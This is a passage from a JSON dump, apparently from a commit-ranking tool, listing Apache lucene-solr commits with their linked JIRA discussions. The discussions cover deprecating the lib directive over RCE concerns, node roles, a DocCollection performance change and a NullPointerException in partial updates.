all of the usecases that our users previously leaned on for? I haven't followed package-manager development too closely, but my understanding was that it still had certain limitations that would make it hard to replace e.g. support for \"standalone\" Solr deployments ( SOLR-16152 ). This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments) Is the thought then that this ticket would also deprecate or remove the trusted/untrusted distinction in 10? Or is that still relevant even if goes away? I think the trusted/untrusted construct is a key pain point. I'm not familiar enough with the other two features that seem to require it to know if we can eliminate that complexity but there might be a way to simplify handling that removes the need for trusted/untrusted in its case. Rather than getting rid of entirely, change it so that by default, it throws an error for anything outside the solr classpath. Then add a startup level configuration that adds directories to the legal locations for . This could be some combination of sysprops/environment or even something in the possible replacement for solr.in.sh contemplated by SOLR-7871 . We can debate if these locations can be recursive, and what to do (if anything) about symlinks. Thus we wind up with a two stage process: The folks who install solr define the playground The folks who interact with solr do whatever they are permitted to within that playground. Ideally in addition to throwing an error when the config set tries to load the upload process would also run this check on any files uploaded to fail fast and friendly for the user. This way would have the benefit that organizations can tune their installation to be as strict or permissive as they like. We should create good clear documentation explaining that allowing libraries to be loaded from a location to which untrusted (or less trusted) users can cause a file to be written (via solr or otherwise) makes it possible for those with config-edit to effectively install code. If they want to run with scissors, knowing the danger, let them, just don't make it the default. I'm not leaping on the solr.xml suggestion because some installs run with solr.xml in zookeeper, and configuring locations where solr can look for stuff seems like something that will be be determined by sysadmin folks at larger organizations who wouldn't want to be mucking around with solr.xml which contains a lot of esoteric search related stuff they might break. I could probably be sold on solr.xml also being a potential source, but if we have more than one location to configure this, precedence and/or merging behavior needs to be clear. PS: solr.xml loading from ZK is deprecated and gone in 10.0. But a config in solr.xml similar to solr.allowPaths makes sense. ${solr.allowPaths:} The default could be empty set, i.e. nothing allowed, and it would be up to users to define defaults. There could be a few special values: \"*\" means allow all, for quick back-compat etc. Or would it be enough to simply fail if any is outside the already defined solr.allowPaths (which defaults to $SOLR_HOME, $SOLR_DATA_HOME & coreRootDir? Added a patch for this (branch_8_11). Updated the patch, this is ready to commit. For the record: on ASF slack, janhoy and houstonputman expressed concerns regarding disabling directives by default. Hence, I'm not committing it right away, even though I think this is the right thing to do. No feature should be enabled by default that can be a security risk for RCEs etc. This holds up the 8.11.3 release, unfortunately. I wonder how we can start messaging to extension developers what they should be doing? A Plugin Guide? I'm thinking of all the installations of querqy that jsut use the lib dir... I'm definitely in favor of getting rid of the lib tag because there are better alternatives. \u00a0Let's do so for the next minor release like 9.5! \u00a0(flag to disable; remove altogether in main) No feature should be enabled by default that can be a security risk for RCEs etc That's a sweeping statement. \u00a0Many things can be a risk; Solr has tons of features and the vast majority of them are enabled by default, for better or worse. Take your pick... remember the XML query parser CVE? \u00a0Who would have thought. If I could block one thing by default to enhance Solr security, it'd be any sort of configuration editing, either at core level, or even ConfigSet upload. \u00a0Maybe that's not \"one thing\", it's a category, and I recognize the ConfigSet aspect isn't workable for most users (even though this is how I run Solr at work \u2013 immutable infrastructure). \u00a0Hello FileSystemConfigSetService! \u00a0Sorry; getting a bit off topic. I am for introducing solr.lib.directive.allowed property, and making it default to \"true\" in 8.x and 9.x, but with deprecation logging. Then in main (10.0) we default it to \"false\", and in 11.0 it is removed entirely. This of course requires proper communication, perhaps a blog post or two, etc. It would be a great way to educate users about modules, packages and shardedLib. I like the suggestion that janhoy provided. I'm going to remove this from \"Release Version\" 8.11.3, unless y'all are ready to merge this (with the option set to \"true\" by default). ichattopadhyaya What's the followup plan on this? Do you agree with the conservative plan proposed above Deprecate in 9.6 Enabled by default in 9.x (but with deprecation logging) Disabled by default in 10.x Removed from 11.0 We can remove in 10; no need to wait for 11. Agreed. Remove in 10. Possibly add an option to disable in 9 which is set to \"false\" by default. This option is not included in 10 obviously. Sure, there is still a few 9.x releases where users can start changing their habits. And any user upgrading to 10.0 will have a round of testing where she will have time to move libs to another location, or stay on 9.x a bit longer. Let's do it..." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/solr-ref-guide/src/configsets-api.adoc, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/server/solr/configsets/_default/conf/solrconfig.xml, solr/solr-ref-guide/src/libs.adoc", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: server", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16781", - "relevance": 2 - } - ] - }, - { - "commit_id": "002b3ce67bea7dfe114c3b7dfdceb00b8777363c", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698631273, - "hunks": 5, - "message": "Revert \"SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce.", - "changed_files": [ - "solr/core/src/java/org/apache/solr/cloud/ZkController.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: This", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: ZooKeeper, Solr, ACLs", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java", - "relevance": 8 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-15694", - "relevance": 2 - } - ] - }, - { - "commit_id": "a639d267fd395f8ed0f9b1d1e2fd4f852dc3eefd", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698551458, - "hunks": 107, - "message": "SOLR-16580: Avoid making copies of DocCollection for PRS updates", - "changed_files": [ - "solr/core/src/java/org/apache/solr/cloud/Overseer.java", - "solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java", - "solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java", - "solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java", - "solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java", - "solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java", - "solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java", - "solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16580": "When PRS entries are updated, a new DocCollection Object is created. We should avoid that and just do an in-place update Avoid making copies of DocCollection for PRS updates Commit e073ea5fa535d6add0d4d17ceb70c542d9f50bcc in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e073ea5fa53 ] SOLR-16580 : Avoid making copies of DocCollection for PRS updates (#1242) Commit c4f40233a718d60262ffc2610a02dfccdde7f641 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=c4f40233a71 ] SOLR-16580 : Avoid making copies of DocCollection for PRS updates (#1242) Closing after the 9.2.0 release Commit a639d267fd395f8ed0f9b1d1e2fd4f852dc3eefd in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=a639d267fd3 ] SOLR-16580 : Avoid making copies of DocCollection for PRS updates This is causing reproducible failures on branch_8_11, with PRS enabled or not enabled. ant test \u00a0-Dtestcase=CloudAuthStreamTest -Dtests.seed=F8952559841D5C83 -Dtests.multiplier=2 -Dtests.slow=true -Dtests.locale=sk -Dtests.timezone=Atlantic/Bermuda -Dtests.asserts=true -Dtests.file.encoding=UTF-8 I went through all of the commits on branch_8_11, and this is definitely the commit where the tests start failing. For some context, it looks like the issues are not with the authentication/authorization, however the delete-by-queries are not working properly. I think it might have something to do with the stateVersion of the collection, seeing as that's something that was modified by this JIRA. So if I change the shards to have 1 replica each, the errors go away. So there is something wrong with forwarding the delete by query to the leader or to the replicas. Honestly, this might be too extensive of a change for 8.11.3, since it wasn't a bug fix or a security patch. The easiest path forward could be reverting it. The reason this was added was because it was intertwined with other PRS changes. Fixing the other bugs without this is much harder So the most likely culprit here was the BaseHttpClusterStateProvider changed (IMO) but reverting that class didn't fix the errors, so we can rule it out" - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java, solr/core/src/java/org/apache/solr/cloud/Overseer.java, solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java, solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java, solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java, solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java, solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java, solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16580 contains some security-related terms: security", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler, read, provide", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16580", - "relevance": 2 - } - ] - }, - { - "commit_id": "78e618444690b9ddf285e416d8045a11dceb711b", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1706289694, - "hunks": 1, - "message": "SOLR-17120: handle null value when merging partials (backport of solr#2214) (#2683) * SOLR-17120 handle null value when merging partials - this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Co-authored-by: Calvin Smith ", - "changed_files": [ - "solr/core/src/java/org/apache/solr/update/UpdateLog.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-17120": "I mailed the solr-users mailing list about this issue, but didn't get any responses there, so am creating this issue. The subject of the email thread for additional context was \"NullPointerException in UpdateLog.applyOlderUpdates under solr 8&9 involving partial updates and high update load\" - link: https://lists.apache.org/thread/n9zm4gocl7cf073syy1159dy6ojjrywl I'm seeing a Solr HTTP 500 error when performing a partial update of a document that turns out to triggered by there having been a recent update of the same document that included a partial update that set a field to null . I've observed the behavior in versions 6.6.2, 8.11.2, and 9.4.0, which are the only 3 versions I've tried. To give an example, an update doc like { \"id\" : \"123\" , \"camera_unit\" : { \"set\" : null }\r\n} followed shortly thereafter (not sure of exact timing, but I was using a commitWithin of 600s and the subsequent updates were less than 20 seconds later), after some other updates had happened for different documents, there was another update of the same document, like { \"id\" : \"123\" , \"playlist\" : { \"set\" : [\r\n\u00a0 \u00a0 \u00a0 \u00a0 12345\r\n\u00a0 \u00a0 \u00a0 ]\r\n\u00a0 \u00a0 }, \"playlist_index_321\" : { \"set\" : 0\r\n\u00a0 \u00a0 }\r\n} This later update may, but doesn't always, cause the NullPointerException , so there is some other factor such as the state of the tlog that also has to be satisfied for the error to occur. The exception is thrown by the following code in UpdateLog.java ( org.apache.solr.update.UpdateLog ): /** Add all fields from olderDoc into newerDoc if not already present in newerDoc */ private void applyOlderUpdates(\r\n\u00a0 \u00a0 \u00a0 SolrDocumentBase newerDoc, SolrInputDocument olderDoc, Set< String > mergeFields) { for ( String fieldName : olderDoc.getFieldNames()) { // if the newerDoc has this field, then this field from olderDoc can be ignored if (!newerDoc.containsKey(fieldName)\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 && (mergeFields == null || mergeFields.contains(fieldName))) { for ( Object val : olderDoc.getFieldValues(fieldName)) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 newerDoc.addField(fieldName, val);\r\n\u00a0 \u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 }\r\n\u00a0 } The exception is due to the inner for statement trying to iterate over the null value being returned by olderDoc.getFieldValues(fieldName) . When I change that method to the following: /** Add all fields from olderDoc into newerDoc if not already present in newerDoc */ private void applyOlderUpdates(\r\n\u00a0 \u00a0 \u00a0 SolrDocumentBase newerDoc, SolrInputDocument olderDoc, Set< String > mergeFields) { for ( String fieldName : olderDoc.getFieldNames()) { // if the newerDoc has this field, then this field from olderDoc can be ignored if (!newerDoc.containsKey(fieldName)\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 && (mergeFields == null || mergeFields.contains(fieldName))) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 Collection< Object > values = olderDoc.getFieldValues(fieldName); if (values == null ) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 newerDoc.addField(fieldName, null );\r\n\u00a0 \u00a0 \u00a0 \u00a0 } else { for ( Object val : values) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 newerDoc.addField(fieldName, val);\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 }\r\n\u00a0 } Then after rebuilding the solr-core JAR with ./gradlew devFull and restarting Solr with that custom jar file, I can no longer reproduce the error. I'm not familiar with the Solr codebase though and am not at all sure that newerDoc.addField(fieldName, null) is what should be done there. NullPointerException in UpdateLog.applyOlderUpdates in solr 6.6-9.4 involving partial updates Thanks casmith for the detailed report on the user mailing list and for proactively proceeding to open this issue! Here's some notes from how I'm reading/interpreting the issue and the code: You mentioned the stacktrace is 8.11.2 and we see the NPE at UpdateLog.java:962 i.e. https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/core/src/java/org/apache/solr/update/UpdateLog.java#L962 and if olderDoc was null then we'd have gotten a NPE at line 959 already and therefore olderDoc.getFieldValues(fieldName) must have returned null, as you mentioned. SolrInputDocument.getFieldValues will return null if the field is not set https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/solrj/src/java/org/apache/solr/common/SolrInputDocument.java#L121-L127 https://solr.apache.org/guide/solr/latest/indexing-guide/partial-document-updates.html#atomic-updates documents about setting to null to remove a value. You mention use of setting to null. Here's some nearby code also calling SolrInputDocument.getFieldValues https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/core/src/java/org/apache/solr/update/processor/AtomicUpdateDocumentMerger.java#L338-L339 https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/core/src/java/org/apache/solr/update/processor/CloneFieldUpdateProcessorFactory.java#L430-L431 Based on the analysis above I think newerDoc.addField(fieldName, null) would be incorrect i.e. newerDoc doesn't have the field and it's not supposed to get it, hence skipping for fieldName rather than adding of null e.g. - for ( Object val : olderDoc.getFieldValues(fieldName)) {\r\n+ Collection< Object > values = olderDoc.getFieldValues(fieldName);\r\n+ if (values == null ) continue ;\r\n+ for ( Object val : values) { Having said all that ... I'm not very familiar with the partial update functionality and what puzzles me slightly is that olderDoc.getFieldNames() returned the fieldName but then olderDoc.getFieldValues() returned no corresponding value ... though maybe that's something to do with multiple partial updates to the same document in succession and corresponding update log entries etc. etc. \u2013 would love to hear insights from others on this. Thanks Christine for noting on the mailing list that I created the issue and for the very helpful summary and analysis above. My reasoning for setting the field to null was that if the olderDoc for the first partial update doc that was added was { \"id\" : \"123\" , \"camera_unit\" : { \"set\" : null }\r\n} Then the null value reflects that it should be removed from the document (so that's why the name is returned by olderDoc.getFieldNames() ). The comment on the applyOlderUpdates method suggests that the purpose is to merge all the fields from the older doc to the newer one unless they're already present, so I thought that maybe the field that should be removed should also be merged in to the newer doc too, or else the fact that the field should be removed in the document that is ultimately saved might get lost. I don't know this code at all though, so it might be that the fields set to null in the older doc don't actually need to be merged in to the newer doc, like you suggested. I'll try with your change and see if I can confirm that the field is still removed like it's supposed to be, although it's a bit difficult to test because it's not reliably reproducible, and I'll have to catch it after it would have happened and before some other later update of the same document hasn't possibly set the field that was nulled to a non-null value, which may rely some luck. I compared the effect of if (values == null ) continue ; versus calling addField with null like I had, and I wasn't able to observe any different outcome. In both cases, the old field values that were requested to be removed by the earlier updates that included { \"set\" : null } were still processed successfully. Right after the update happened, but before the commitWithin window had passed, I would still see the old value when querying the /select endpoint, and using the{{ /get }}endpoint, I would not see the fields that were to have been removed, whether the later updates called addField with null or not. Once the commitWindow passed, then the /select endpoint correctly showed the documents had been updated as they should have been and the fields had been removed (and other expected changes were applied). So it seems that the newerDoc definitely doesn't need the null, and maybe it's not having any effect when it is present, as things seem to work the same in both cases as far as I can tell by inspecting the state of the documents in the index after it happens. I'll stick with the version Christine suggested that does continue while I'm testing. Thanks Calvin for testing and sharing your findings! Couple of thinking out alouds and curiosity if I may, again with the caveat that I'm not very familiar with the partial update functionality \u2013 about the puzzle of olderDoc.getFieldNames() returning the fieldName but then olderDoc.getFieldValues() returned no corresponding value(s) \u2013 wondering if the getFieldValues return value of null is due to the field being set to null somehow or the field not being set \u2013 ref: https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/solrj/src/java/org/apache/solr/common/SolrInputDocument.java#L121-L127 (to the extent that you are able to share) what is the field schema/definition e.g. does type make a difference or if the field is required or if the field is defaulted or multiValued etc. about the sequence of events e.g. is it perhaps a case of a \"remove this field\" happening before there ever was an actual value for the field, or maybe there are two consecutive \"remove this field\" happenings, or variants on that theme in case of multiValued fields Context for my curiosity is sort of that if we understand more on how the name-but-no-value scenario arises then that could point to a different (complementary or alternative) code change and/or we might discover 'something else' also being unexpected. I can't share the full schema file or the docs unfortunately, and I'm a bit pressed for time at the moment, but here's what I was able to determine: - the 8 fields that the error occurs for in my most easily reproducible case are all single-valued (I only know it is 8 fields due to modifying the code to skip the null and print to stdout when the error would have happened); 7 of them are a 'lowercase' field type and the other is 'text_en_splitting_tight' (as those are defined in the default schema); I wouldn't read much into that though, as those are common field types in our schema - I was able to establish that all fields that the error would have happened for were not set in the doc version in the index (but this doesn't seem to matter, as I describe below), and all of them had a previous partial update in the same commitWithin window that set the field to null So, for example, if the original full doc in the index contained: { \"id\" : \"123\" , \"foo\" : \"bar\" ,\r\n\u00a0 \u00a0 ...\r\n} it did not contain a 'field1', 'field2', ..., 'field8'. Then there were multiple partial updates, one of which included: { \"id\" : \"123\" , \"foo\" : { \"set\" : \"baz\" }, \"field1\" : { \"set\" : null }, \"field2\" : { \"set\" : null },\r\n\u00a0 \u00a0 ... \"field8\" : { \"set\" : null }\r\n} and then after some other updates (of both doc \"123\", none of which set field1-field8), there was an update like: { \"id\" : \"123\" , \"differentfield1\" : { \"set\" : [\r\n\u00a0 \u00a0 \u00a0 \u00a0 348459\r\n\u00a0 \u00a0 \u00a0 ]\r\n\u00a0 \u00a0 }, \"differentfield2\" : { \"set\" : 2\r\n\u00a0 \u00a0 }\r\n} which does nothing with any of the field1-field8 , and the NullPointerException is thrown then because the older doc returns null for whichever of the field1-field8 is processed first. It doesn't appear to matter whether the document in the index originally has a value for field1-field8 or not though, as I was able to reproduce the problem with an identical stack trace even if all those fields had values originally. So to summarize, it doesn't matter if the field in the doc in the index originally has a value or not it happens when there was just 1 prior partial update that set the field to null there are other updates of other fields on that doc (and unrelated updates of other docs) in between the partial update that sets the field to null and the doc that causes the NullPointerException the update that causes the error included only updates to fields other than field1-field8 (the ones that were set to null in the earlier update) Also, since I didn't include the stack trace here, and I originally gave the stack trace as for version 8.11.2, here's the stack trace for 9.4.0, which is the version I've been using for most of my testing: 2024-01-19 18:33:10.160 ERROR (qtp726408598-34) [ x:app t:0.0.0.0-34] o.a.s.s.HttpSolrCall 500 Exception => java.lang.NullPointerException\r\n\u00a0 \u00a0 at org.apache.solr.update.UpdateLog.applyOlderUpdates(UpdateLog.java:1025)\r\njava.lang.NullPointerException: null\r\n\u00a0 \u00a0 at org.apache.solr.update.UpdateLog.applyOlderUpdates(UpdateLog.java:1025) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.UpdateLog.applyPartialUpdates(UpdateLog.java:992) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.resolveFullDocument(RealTimeGetComponent.java:476) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.getInputDocumentFromTlog(RealTimeGetComponent.java:720) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.getInputDocumentFromTlog(RealTimeGetComponent.java:657) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.handler.component.RealTimeGetComponent.getInputDocument(RealTimeGetComponent.java:773) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.getUpdatedDocument(DistributedUpdateProcessor.java:788) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.doVersionAdd(DistributedUpdateProcessor.java:406) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.lambda$versionAdd$0(DistributedUpdateProcessor.java:356) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.VersionBucket.runWithLock(VersionBucket.java:51) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.versionAdd(DistributedUpdateProcessor.java:353) ~[?:?]\r\n\u00a0 \u00a0 at org.apache.solr.update.processor.DistributedUpdateProcessor.processAdd(DistributedUpdateProcessor.java:234) ~[?:?]\r\n\u00a0 \u00a0 at 